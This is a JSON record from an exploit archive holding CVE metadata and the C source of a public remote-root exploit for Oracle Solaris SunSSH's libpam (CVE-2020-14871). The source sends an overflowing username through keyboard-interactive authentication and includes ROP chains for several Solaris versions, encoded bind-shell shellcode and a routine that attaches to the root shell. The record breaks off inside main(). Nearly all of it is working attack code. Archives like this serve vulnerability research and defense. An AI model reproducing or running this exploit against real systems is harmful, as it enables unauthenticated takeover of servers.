{"exploit":{"id":"EDB-49261","name":"Oracle Solaris SunSSH 11.0 (x86) - libpam Remote Root (1)","description":"Oracle Solaris SunSSH 11.0 (x86) - libpam Remote Root (1)","cves":["CVE-2020-14871"],"author":"Hacker Fantastic","published":"2020-12-15","platform":"solaris","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49261","path":"exploits/solaris/remote/49261.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49261.c","vulnerabilities":[{"id":"CVE-2020-14871","state":"PUBLISHED","title":null,"titleSource":null,"description":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Pluggable authentication module). Supported versions that are affected are 10 and 11. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Solaris. Note: This CVE is not exploitable for Solaris 11.1 and later releases, and ZFSSA 8.7 and later releases, thus the CVSS Base Score is 0.0. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-14871","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"oracle","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-14871"},"updatedAt":"2025-10-21T23:35:34.957Z","retrievedAt":"2026-11-26T00:34:57.034Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49261.png?v=2","url":"https://exploitbin.com/exploits/EDB-49261","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49261/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49261/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root\n# Exploit Author: Hacker Fantastic\n# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris11-overview.html\n# Version: 11\n# Tested on: SunOS solaris 5.11 11.0\n\n/* SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871\n * ====================================================================\n * Makefile\n * all: hfsunsshdx\n *\n *\thfsunsshdx: main.c\n *\tgcc main.c -o hfsunsshdx -lssh2\n *\n *\tclean:\n *\trm -rf hfsunsshdx\n *\trm -rf core.*\n *\n * A trivial to reach stack-based buffer overflow is present in libpam on\n * Solaris. The vulnerable code exists in pam_framework.c parse_user_name()\n * which allocates a fixed size buffer of 512 bytes on the stack and parses\n * usernames into the buffer via modules (authtok_get) without bounds checks.\n * This issue can be reached remotely pre-authentication via SunSSH when\n * \"keyboard-interactive\" is enabled to use PAM based authentication. The\n * vulnerability was discovered being actively exploited by FireEye in the\n * wild and is part of an APT toolkit called \"EVILSUN\". The vulnerability\n * is present in both SPARC/x86 versions of Solaris & others (eg. illumos).\n * This exploit uses ROP gadgets to disable nxstack through mprotect on x86\n * and a helper shellcode stub. The configuration in a default Solaris\n * install is vulnerable. The exploit makes use of libssh2 and tested on\n * Solaris 10 through 11.0. Solaris 9 does not ship with a vulnerable\n * SunSSH implementation and versions later than 11.1 have updated SunSSH\n * code that prevents the issue being triggered.\n *\n * e.g.\n *  ./hfsunsshdx -s 192.168.11.220 -t 0 -x 2\n *  [+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871\n *  [-] chosen target 'Solaris 11 11/11 11.0 Sun_SSH_2.0 x86'\n *  [-] using shellcode 'Solaris 11.0 x86 bindshell tcp port 9999' 193 bytes\n *  [+] ssh host fingerprint: 01bc34fe8092e051716b91fd88eed210db2df49e\n *  [+] entering keyboard-interactive authentication.\n *  [-] number of prompts: 1\n *  [-] prompt 0 from server: 'Please enter user name: '\n *  [-] shellcode length 193 bytes\n *  [-] rop chain length 68\n *  [-] exploit buffer length 580\n *  [-] sending exploit magic buffer... wait\n *  [+] exploit success, handling payload...\n *  [-] connected.. enjoy :)\n *  SunOS solaris 5.11 11.0 i86pc i386 i86pc\n *   6:49pm  up 53 min(s),  1 user,  load average: 0.01, 0.01, 0.01\n *  helpdesk   console      Nov 27 17:57\n *  uid=0(root) gid=0(root)\n *\n * -- Hacker Fantastic (https://hacker.house)\n */\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <ctype.h>\n#include <getopt.h>\n#include <time.h>\n#include <signal.h>\n#include <string.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <sys/select.h>\n#include <arpa/inet.h>\n#include <sys/time.h>\n#include <libssh2.h>\n\nint sd = -1;\nint oldsd = -1;\nint ishell = -1;\nchar* buf;\nchar* payload;\nchar* retaddr;\nstruct sockaddr_in sain;\n\nstruct target {\n\tchar* name;\n\tchar* ropchain;\n};\n\nstruct shellcode {\n\tchar* name;\n\tchar* shellcode;\n};\n\nvoid spawn_shell(int);\nvoid bindshell_setup(short);\nvoid on_alarm(int);\nvoid on_interupt(int);\nvoid prepare_payload();\n\nconst int targetno = 5;\nstruct target targets[] = {\n\t{\"Solaris 11 11/11 11.0 Sun_SSH_2.0 x86\",\n\t\"\\x41\\x42\\x43\\x44\"  // %ebx\n\t\"\\x45\\x46\\x47\\x48\"  // %esi\n\t\"\\x50\\x51\\x52\\x53\"  // %ebp\n\t\"\\xa7\\x0e\\x06\\x08\"  // pop %ecx, pop %edx, pop %ebp\n\t\"\\x9c\\x3e\\x04\\x08\"  // ptr to (0x?, 0x?, 0x8044cf0, 0x7)\n\t\"\\x01\\x01\\x04\\x08\"  // %edx unused, must be writeable addr\n\t\"\\x41\\x42\\x43\\x44\"  // %ebp unused var\n\t\"\\x93\\xdb\\xc8\\xfe\"  // pop %edx ; ret\n\t\"\\x01\\x30\\x04\\x08\"  // ptr to 0x08043001 mprotect arg\n\t\"\\x1a\\xe7\\x0b\\xfe\"  // dec %edx ; ret\n\t\"\\x79\\x41\\xfe\\xfe\"  // mov %edx,$0x4(%ecx) ; xor %eax, %eax ; ret\n\t\"\\x93\\xdb\\xc8\\xfe\"  // pop %edx ; ret\n\t\"\\x01\\x30\\x04\\x08\"  // ptr to shellcode\n\t\"\\xe0\\xe8\\x3e\\xfe\"  // mov $0x72,%al\n\t\"\\x64\\x7c\\xc3\\xfe\"  // inc %eax ; ret\n        \"\\x64\\x7c\\xc3\\xfe\"  // inc %eax ; ret\n\t\"\\x22\\x9d\\xd3\\xfe\"},// sysenter\n\t{\"Solaris 11 Express (snv_151a) Sun_SSH_1.5 x86\",\n\t\"\\x41\\x42\\x43\\x44\"  // %ebx overwrite unused\n\t\"\\x41\\x42\\x43\\x44\"  // %esi overwrite unused\n\t\"\\xf8\\x32\\x04\\x08\"  // %ebp overwrite unused\n\t\"\\xb7\\xf9\\x05\\x08\"  // pop %ecx ; pop %edx ; pop %ebp ; ret\n\t\"\\x7e\\x36\\x02\\x04\"  // ptr/2 to (0x?, 0x0, 0x1000, 0x7)\n\t\"\\x01\\x30\\x04\\x08\"  // ptr for %edx\n\t\"\\x44\\x43\\x42\\x41\"  // ptr for %ebp unused\n\t\"\\xe4\\xd4\\xde\\xfe\"  // dec %edx ; add %ecx, %ecx ; ret\n\t\"\\x19\\x42\\xfe\\xfe\"  // mov %edx,$0x4(%ecx) ; xor %eax, %eax; ret\n\t\"\\xb8\\xf9\\x05\\x08\"  // pop %edx ; pop %ebp ; ret\n\t\"\\xeb\\x30\\x04\\x08\"  // shellcode ptr for %edx\n\t\"\\x1c\\x33\\x04\\x08\"  // %ebp & used by \"leave\"\n        \"\\x84\\x98\\x51\\xfe\"  // mov $0x82, %eax ; pop %esi ; pop %ebx ; leave ; ret\n        \"\\x41\\x42\\x43\\x44\"  // %esi unused\n        \"\\xe0\\x30\\x04\\x08\"  // shellcode ptr to %ebx\n        \"\\xe8\\x32\\x04\\x08\"  // ptr into %ebp\n        \"\\x19\\x3f\\xfe\\xfe\"  // sub $0x4,%eax ; ret\n        \"\\x19\\x3f\\xfe\\xfe\"  // sub $0x4,%eax ; ret\n        \"\\x19\\x3f\\xfe\\xfe\"  // sub $0x4,%eax ; ret\n        \"\\x11\\x3f\\xfe\\xfe\"  // sub $0x2,%eax ; ret\n\t\"\\xfe\\xf8\\xcf\\xfe\"},// sysenter\n\t{\"Solaris 10 1/13 (147148-26) Sun_SSH_1.1.5 x86\",\n\t\"\\xc3\\x31\\x04\\x08\"  // overwrite %ebp unused\n\t\"\\xa3\\x6c\\xd8\\xfe\"  // mov $0x74, %eax ; ret\n\t\"\\x29\\x28\\x07\\x08\"  // pop %ebx ; ret\n\t\"\\xf0\\xff\\xaf\\xfe\"  // 0x0a writen to address, unused gadget\n\t\"\\x08\\xba\\x05\\x08\"  // pop %edx ; pop %ebp ; ret\n\t\"\\x01\\x30\\x04\\x08\"  // %edx pointer to page\n\t\"\\xb8\\x31\\x04\\x08\"  // unused %ebp value\n\t\"\\xaa\\x4c\\x68\\xfe\"  // pop %ecx ; ret\n\t\"\\xe0\\x6e\\x04\\x08\"  // ptr (0x?,0x0,0x1000,0x7)\n\t\"\\x61\\x22\\x07\\x08\"  // dec %edx ; ret\n\t\"\\x8b\\x2d\\xfe\\xfe\"  // mov %edx,0x4(%ecx) ; xor %eax,%eax ; ret\n\t\"\\xa3\\x6c\\xd8\\xfe\"  // mov $0x74, %eax ; ret\n\t\"\\x08\\xba\\x05\\x08\"  // pop %edx ; pop %ebp ; ret\n\t\"\\xc3\\x31\\x04\\x08\"  // shellcode addr for %edx\n\t\"\\xc3\\x31\\x04\\x08\"  // unused %ebp value\n\t\"\\xf6\\x0d\\xf4\\xfe\"},// sysenter, (ret into shellcode via %edx)\n\t{\"Solaris 10 8/11 (147441-01) Sun_SSH_1.1.4 x86\",\n\t\"\\xc3\\x31\\x04\\x08\"  // overwrite %ebp unused\n\t\"\\x73\\x6a\\xd7\\xfe\"  // mov $0x74, %eax ; ret\n\t\"\\xb1\\x26\\x07\\x08\"  // pop %ebx ; ret\n\t\"\\xff\\x01\\xac\\xfe\"  // write garbage here, unused gadget\n\t\"\\x98\\xb9\\x05\\x08\"  // pop %edx ; pop %ebp ; ret\n\t\"\\xff\\x2f\\x04\\x08\"  // %edx pointer to page\n\t\"\\xc3\\x31\\x04\\x08\"  // unused %ebp value\n\t\"\\x57\\xaa\\xe4\\xfe\"  // pop %ecx ; ret\n\t\"\\x94\\x11\\x5f\\xfe\"  // ptr rwx (0x?,0x04b,0xe50,0x7)\n\t\"\\xee\\x6a\\x65\\xfe\"  // inc %edx ; ret\n\t\"\\x9b\\xc5\\xc1\\xfe\"  // mov %edx,0x4($ecx) ; xor %eax,%eax ; ret\n\t\"\\x73\\x6a\\xd7\\xfe\"  // mov $0x74, %eax ; ret\n\t\"\\x86\\xae\\xe5\\xfe\"  // pop %edx ; ret\n\t\"\\xc3\\x31\\x04\\x08\"  // shellcode return address for %edx\n\t\"\\x66\\x56\\xb9\\xfe\"},// sysenter (ret into shellcode via %edx)\n\t{\"Solaris all Sun_SSH_1.x.x debug crash target\",\n\t\"\\x41\\x42\\x43\\x43\"  // %ebp ptr\n\t\"\\x78\\x79\\x80\\x81\"} // %eip ptr\n};\n\nconst int shellno = 4;\n\nstruct shellcode shellcodes[] = {\n\t{\"Solaris x86 bindshell tcp port 9999\",\n\t/* mprotect magic stub necessary for payloads expecting +x stack */\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xc0\\x31\\xc9\"\n\t\"\\xbb\\x01\\x10\\x04\\x08\\x66\\xb8\\x01\\x70\\xb1\\x07\\x4b\\x48\\x51\\x50\"\n\t\"\\x53\\x53\\x89\\xe1\\x31\\xc0\\xb0\\x74\\xcd\\x91\"\n\t/* mprotect_shellcode.S Solaris x86 mprotect(0x08044000,0x7000,0x07);\n\t   ==================================================================\n\t\txorl %eax, %eax\n  \t\txorl %ecx, %ecx\n  \t\tmovl $0x08041001, %ebx\n  \t\tmovw $0x7001, %ax\n  \t\tmovb $0x7,%cl\n  \t\tdec %ebx\n  \t\tdec %eax\n  \t\tpushl %ecx\n  \t\tpushl %eax\n  \t\tpushl %ebx\n  \t\tpushl %ebx\n  \t\tmovl %esp, %ecx\n  \t\txorl %eax, %eax\n\t\tmovb $0x74, %al\n\t\tint $0x91\n\t*/\n\t/* msfvenom -p solaris/x86/shell_bind_tcp -b \"\\x09\\x20\" LPORT=9999 -f c -e x86/xor_dynamic */\n\t\"\\xeb\\x23\\x5b\\x89\\xdf\\xb0\\x55\\xfc\\xae\\x75\\xfd\\x89\\xf9\\x89\\xde\"\n        \"\\x8a\\x06\\x30\\x07\\x47\\x66\\x81\\x3f\\x2a\\x95\\x74\\x08\\x46\\x80\\x3e\"\n        \"\\x55\\x75\\xee\\xeb\\xea\\xff\\xe1\\xe8\\xd8\\xff\\xff\\xff\\x01\\x55\\x69\"\n        \"\\xfe\\xd9\\xfe\\x3d\\x6b\\x64\\x88\\xe7\\xf6\\x57\\x05\\xf7\\x17\\x30\\xc1\"\n        \"\\x51\\x69\\xfe\\x03\\x26\\x0e\\x88\\xe6\\x6b\\x03\\x51\\x51\\x6b\\x03\\x6b\"\n        \"\\x03\\xb1\\xe7\\xfe\\xd7\\x6b\\x11\\x56\\x51\\x30\\xc1\\xb1\\xe9\\xfe\\xd7\"\n        \"\\x5a\\x51\\x51\\x52\\xb1\\xe8\\xfe\\xd7\\xb1\\xeb\\xfe\\xd7\\x6b\\x08\\x51\"\n        \"\\x6b\\x3f\\x59\\xfe\\xd7\\xfe\\x4e\\xd9\\x78\\xf7\\x51\\x69\\x2e\\x2e\\x72\"\n        \"\\x69\\x69\\x2e\\x63\\x68\\x6f\\x88\\xe2\\x51\\x52\\x88\\xe0\\x51\\x50\\x52\"\n        \"\\xb1\\x3a\\xfe\\xd7\\x2a\\x95\"},\n\t{\"Solaris x86 bindshell tcp port 8080\",\n\t/* mprotect magic stub necessary for payloads expecting +x stack */\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xc0\\x31\\xc9\"\n\t\"\\xbb\\x01\\x10\\x04\\x08\\x66\\xb8\\x01\\x70\\xb1\\x07\\x4b\\x48\\x51\\x50\"\n\t\"\\x53\\x53\\x89\\xe1\\x31\\xc0\\xb0\\x74\\xcd\\x91\"\n\t/* msfvenom -p solaris/x86/shell_bind_tcp -b \"\\x09\\x20\" LPORT=8080 -f c -e x86/xor_dynamic */\n\t\"\\xeb\\x23\\x5b\\x89\\xdf\\xb0\\x9a\\xfc\\xae\\x75\\xfd\\x89\\xf9\\x89\\xde\"\n\t\"\\x8a\\x06\\x30\\x07\\x47\\x66\\x81\\x3f\\x44\\x60\\x74\\x08\\x46\\x80\\x3e\"\n\t\"\\x9a\\x75\\xee\\xeb\\xea\\xff\\xe1\\xe8\\xd8\\xff\\xff\\xff\\x01\\x9a\\x69\"\n\t\"\\xfe\\xd9\\xfe\\x3d\\x6b\\x64\\x88\\xe7\\xf6\\x57\\x05\\xf7\\x17\\x30\\xc1\"\n\t\"\\x51\\x69\\xfe\\x03\\x1e\\x91\\x88\\xe6\\x6b\\x03\\x51\\x51\\x6b\\x03\\x6b\"\n\t\"\\x03\\xb1\\xe7\\xfe\\xd7\\x6b\\x11\\x56\\x51\\x30\\xc1\\xb1\\xe9\\xfe\\xd7\"\n\t\"\\x5a\\x51\\x51\\x52\\xb1\\xe8\\xfe\\xd7\\xb1\\xeb\\xfe\\xd7\\x6b\\x08\\x51\"\n\t\"\\x6b\\x3f\\x59\\xfe\\xd7\\xfe\\x4e\\xd9\\x78\\xf7\\x51\\x69\\x2e\\x2e\\x72\"\n\t\"\\x69\\x69\\x2e\\x63\\x68\\x6f\\x88\\xe2\\x51\\x52\\x88\\xe0\\x51\\x50\\x52\"\n\t\"\\xb1\\x3a\\xfe\\xd7\\x44\\x60\"},\n\t/* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */\n\t{\"Solaris 11.0 x86 bindshell tcp port 9999\",\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n        \"\\x31\\xc0\\x31\\xc9\\x31\\xd2\\xbb\\x01\\x10\\x04\\x08\\x66\\xb8\\x01\\x70\"\n\t\"\\xb1\\x07\\x66\\xba\\x01\\x10\\x66\\x31\\xd3\\x48\\x51\\x50\\x53\\x53\\x89\"\n\t\"\\xe1\\x31\\xc0\\xb0\\x74\\xcd\\x91\"//not encoded, stack address different\n\t\"\\xb8\\x5d\\x6d\\x26\\x15\\xda\\xce\\xd9\\x74\\x24\\xf4\\x5a\\x2b\\xc9\\xb1\"\n\t\"\\x19\\x31\\x42\\x15\\x83\\xea\\xfc\\x03\\x42\\x11\\xe2\\xa8\\x05\\xd9\\xcd\"\n\t\"\\xad\\xea\\x4f\\x8b\\xd8\\xf5\\x67\\x05\\xde\\x0f\\x91\\x9b\\x1e\\xbf\\xf6\"\n\t\"\\x24\\x9c\\x67\\x08\\x52\\x47\\x0d\\x14\\x34\\xd7\\xb8\\x1a\\xde\\xd5\\x8c\"\n\t\"\\xfd\\xe1\\x0f\\x86\\x11\\x49\\xff\\x66\\xd2\\xc5\\x17\\x77\\x04\\x7e\\xb7\"\n\t\"\\xdb\\x19\\x68\\xc8\\x0a\\xe9\\x81\\xc9\\x65\\x60\\x5f\\x5f\\x83\\x25\\x35\"\n\t\"\\xa1\\xcb\\x3a\\x1f\\x22\\xa4\\x1c\\xd9\\x2a\\x0a\\x5d\\x4a\\xba\\x42\\x72\"\n\t\"\\x18\\x52\\xf5\\xa3\\xbc\\xcb\\x6b\\x35\\xa3\\x5b\\x27\\xcc\\xc5\\x0b\\x97\"\n\t\"\\x9f\\x56\\x1b\\x2c\\xdf\\x8f\"},\n\t/* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */\n\t{\"Solaris 11.0 x86 bindshell tcp port 4444\",\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n        \"\\x31\\xc0\\x31\\xc9\\x31\\xd2\\xbb\\x01\\x10\\x04\\x08\\x66\\xb8\\x01\\x70\"\n\t\"\\xb1\\x07\\x66\\xba\\x01\\x10\\x66\\x31\\xd3\\x48\\x51\\x50\\x53\\x53\\x89\"\n\t\"\\xe1\\x31\\xc0\\xb0\\x74\\xcd\\x91\"//not encoded, stack address different\n\t\"\\xb8\\x8d\\x2e\\x32\\x79\\xd9\\xe5\\xd9\\x74\\x24\\xf4\\x5b\\x29\\xc9\\xb1\"\n\t\"\\x19\\x31\\x43\\x15\\x03\\x43\\x15\\x83\\xc3\\x04\\xe2\\x78\\x46\\xcd\\xa1\"\n\t\"\\x7d\\xab\\x5b\\x37\\x08\\x32\\x6c\\xe1\\x0e\\x4d\\x85\\x3f\\xce\\xe1\\xc2\"\n\t\"\\xc0\\xcc\\x1e\\x83\\xb6\\x37\\x4a\\xa1\\x98\\xe7\\xe1\\xa7\\x72\\x05\\x46\"\n\t\"\\x41\\x7d\\xdf\\xcc\\x9e\\xd5\\x8f\\x21\\x5f\\x69\\xc7\\xbd\\x89\\xd1\\x47\"\n\t\"\\x11\\x86\\x0f\\x98\\x43\\x56\\x25\\x99\\xba\\xfd\\xb3\\x0f\\x4a\\x52\\xae\"\n\t\"\\xf1\\x14\\xad\\xf8\\xf2\\xea\\x89\\x7c\\xfa\\xc4\\xe9\\x2f\\x6a\\x08\\xc5\"\n\t\"\\xbc\\x02\\x3e\\x36\\x21\\xbb\\xd0\\xc1\\x46\\x6b\\x7e\\x5b\\x69\\xdb\\xd0\"\n\t\"\\x0a\\x39\\x6b\\xeb\\x53\\x6b\"}\n};\n\nvoid spawn_shell(int sd) {\n#define sockbuflen 2048\n\tint rcv;\n\tchar sockbuf[sockbuflen];\n\tfd_set readfds;\n\tmemset(sockbuf,0,sockbuflen);\n\tsnprintf(sockbuf,sockbuflen,\"uname -a;uptime;who;id\\n\");\n\twrite(sd,sockbuf,strlen(sockbuf));\n\twhile (1) {\n\t\tFD_ZERO(&readfds);\n\t\tFD_SET(0,&readfds);\n\t\tFD_SET(sd,&readfds);\n\t\tselect(255,&readfds,NULL,NULL,NULL);\n\t\tif (FD_ISSET(sd, &readfds)) {\n\t\t\tmemset(sockbuf,0,sockbuflen);\n\t\t\trcv = read(sd,sockbuf,sockbuflen);\n\t\t\tif (rcv <= 0) {\n              \t\t\tprintf(\"\\e[1m\\e[34m[!] connection closed by foreign host.\\n\\e[0m\");\n              \t\t\texit(-1);\n            \t\t}\n\t\t\tprintf(\"%s\",sockbuf);\n\t\t\tfflush(stdout);\n\t\t}\n      \t\tif(FD_ISSET(0,&readfds)) {\n\t\t\tmemset(sockbuf,0,sockbuflen);\n\t\t\tread(0,sockbuf,sockbuflen);\n\t\t\twrite(sd,sockbuf,strlen(sockbuf));\n        \t}\n    \t}\n}\n\nvoid bindshell_setup(short port){\n\toldsd = sd;\n        sd = socket(AF_INET,SOCK_STREAM,0);\n        sain.sin_port = htons(port);\n        if(connect(sd,(struct sockaddr*)&sain,sizeof(sain))<0){\n\t\tprintf(\"[!] fatal bind shell failed\\n\\e[0m\");\n                exit(-1);\n        }\n\tprintf(\"[-] connected.. enjoy :)\\e[0m\\n\");\n        spawn_shell(sd);\n}\n\nvoid on_alarm(int signum){\n\tprintf(\"[+] exploit success, handling payload...\\n\");\n\tif(ishell==0||ishell==2){\n\t\tbindshell_setup(9999);\n\t}\n\tif(ishell==1||ishell==3){\n\t\tbindshell_setup(8080);\n\t}\n\tprintf(\"[-] exploit complete\\n\\e[0m\");\n\texit(0);\n}\n\nvoid on_interrupt(int signum){\n\tprintf(\"\\e[1m\\e[34m[!] interrupt caught... cleaning up\\n\\e[0m\");\n\tif(sd){\n\t\tclose(sd);\n\t}\n\tif(oldsd){\n\t\tclose(oldsd);\n\t}\n\texit(0);\n}\n\nvoid prepare_payload(){ /* bad characters are 0x20 0x09 & 0x00 */\n#define payload_size 4096\n\tint len = strlen(payload);\n\tbuf = malloc(payload_size);\n\tchar randchar = 'A';\n\tchar* randbuf = malloc(2);\n\tif(!buf||!randbuf){\n\t\tprintf(\"[!] fatal payload buffer error\\n\");\n\t\texit(-1);\n\t}\n\tsrand(time(NULL));\n\tmemset(buf,'\\x00',payload_size);\n\tmemset(randbuf,0,2);\n\tprintf(\"[-] shellcode length %d bytes\\n\",len);\n\tif(len < 512 && payload_size > 1024){\n\t\tmemcpy(buf,payload,len);\n\t\tfor(int i =0;i <= (512 - len);i++){\n \t\t\trandchar = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"[random() % 52];\n\t\t\tmemcpy(randbuf,&randchar,1);\n\t\t\tstrcat(buf,randbuf);\n\t\t}\n\t\tlen = strlen(retaddr);\n\t\tprintf(\"[-] rop chain length %d\\n\",len);\n\t\tif(len + 512 < payload_size){\n\t\t\tmemcpy((void*)(long)buf+512,(void*)retaddr,len);\n\t\t\tlen = strlen(buf);\n\t\t\tprintf(\"[-] exploit buffer length %d\\n\",len);\n\t\t}\n\t\telse{\n\t\t\tprintf(\"[!] exploit buffer miscalculated\\n\");\n\t\t\texit(-1);\n\t\t}\n\t}\n\telse{\n\t\tprintf(\"[!] exploit buffer miscalculated\\n\");\n\t\texit(-1);\n\t}\n}\n\nstatic void kbd_callback(const char *name, int name_len,const char *instruction, int instruction_len,int num_prompts,const LIBSSH2_USERAUTH_KBDINT_PROMPT *prompts,LIBSSH2_USERAUTH_KBDINT_RESPONSE *responses, void **abstract) {\n\tint i = 0;\n\tsignal(SIGALRM, &on_alarm);\n\tprintf(\"[+] entering keyboard-interactive authentication.\\n\");\n\tprintf(\"[-] number of prompts: %d\\n\", num_prompts);\n\tprintf(\"[-] prompt %d from server: '\", i);\n\tfwrite(prompts[i].text, 1, prompts[i].length, stdout);\n\tprintf(\"'\\n\");\n\tprepare_payload();\n\t//uncomment to pause for gdb debugging\n\t//sleep(10);\n\tresponses[i].text = strdup(buf);\n\tresponses[i].length = strlen(buf);\n\tprintf(\"[-] sending exploit magic buffer... wait\\n\");\n\talarm(5);\n}\n\nint main(int argc,char **argv){\n\tint ihost = 0, itarg = 0, port = 22, index = 0, rc = 0;\n\tchar* host;\n\tint i, type, exitcode;\n\tunsigned long hostaddr;\n\tconst char *fingerprint;\n\tLIBSSH2_SESSION *session;\n\tLIBSSH2_CHANNEL *channel;\n\tchar *exitsignal = (char *)\"none\";\n\tsize_t len;\n\tLIBSSH2_KNOWNHOSTS *nh;\n\tstatic struct option options[] = {\n\t\t{\"server\", 1, 0, 's'},\n\t\t{\"port\", 1, 0, 'p'},\n\t\t{\"target\", 1, 0, 't'},\n\t\t{\"shellcode\", 1, 0, 'x'},\n\t\t{\"help\", 0, 0,'h'}\n        };\n\tprintf(\"\\e[1m\\e[34m[+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871\\n\");\n\twhile(rc != -1) {\n\t        rc = getopt_long(argc,argv,\"s:p:t:x:h\",options,&index);\n        \tswitch(rc) {\n               \t\tcase -1:\n\t                        break;\n        \t        case 's':\n\t\t\t\tif(ihost==0){\n\t\t\t\t\thost = malloc(strlen(optarg) + 1);\n\t\t\t\t\tif(host){\n\t\t\t\t\t\tsprintf(host,\"%s\",optarg);\n\t\t\t\t\t\tihost = 1;\n\t\t\t\t\t}\n\t\t\t\t}\n               \t\t\tbreak;\n\t                case 'p':\n\t\t\t\tport = atoi(optarg);\n                \t        break;\n\t\t\tcase 'x':\n\t\t\t\tif(ishell==-1) {\n\t\t\t\t\trc = atoi(optarg);\n\t\t\t\t\tswitch(rc){\n\t\t\t\t\t\tcase 0:\n\t\t\t\t\t\t\tprintf(\"[-] using shellcode '%s' %d bytes\\n\",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));\n\t\t\t\t\t\t\tpayload = malloc(strlen(shellcodes[rc].shellcode)+1);\n\t\t\t\t\t\t\tif(payload){\n\t\t\t\t\t\t\t\tmemset(payload,0,strlen(shellcodes[rc].shellcode)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));\n\t\t\t\t\t\t\t\tishell = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\tprintf(\"[-] using shellcode '%s' %d bytes\\n\",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));\n\t\t\t\t\t\t\tpayload = malloc(strlen(shellcodes[rc].shellcode)+1);\n\t\t\t\t\t\t\tif(payload){\n\t\t\t\t\t\t\t\tmemset(payload,0,strlen(shellcodes[rc].shellcode)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));\n\t\t\t\t\t\t\t\tishell = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\tprintf(\"[-] using shellcode '%s' %d bytes\\n\",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));\n\t\t\t\t\t\t\tpayload = malloc(strlen(shellcodes[rc].shellcode)+1);\n\t\t\t\t\t\t\tif(payload){\n\t\t\t\t\t\t\t\tmemset(payload,0,strlen(shellcodes[rc].shellcode)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));\n\t\t\t\t\t\t\t\tishell = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 3:\n\t\t\t\t\t\t\tprintf(\"[-] using shellcode '%s' %d bytes\\n\",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));\n\t\t\t\t\t\t\tpayload = malloc(strlen(shellcodes[rc].shellcode)+1);\n\t\t\t\t\t\t\tif(payload){\n\t\t\t\t\t\t\t\tmemset(payload,0,strlen(shellcodes[rc].shellcode)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));\n\t\t\t\t\t\t\t\tishell = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tprintf(\"[!] Invalid shellcode selection %d\\n\",rc);\n\t\t\t\t\t\t\texit(0);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t                case 't':\n\t\t\t\tif(itarg==0){\n\t\t\t\t\trc = atoi(optarg);\n\t\t\t\t\tswitch(rc){\n\t\t\t\t\t\tcase 0:\n\t\t\t\t\t\t\tprintf(\"[-] chosen target 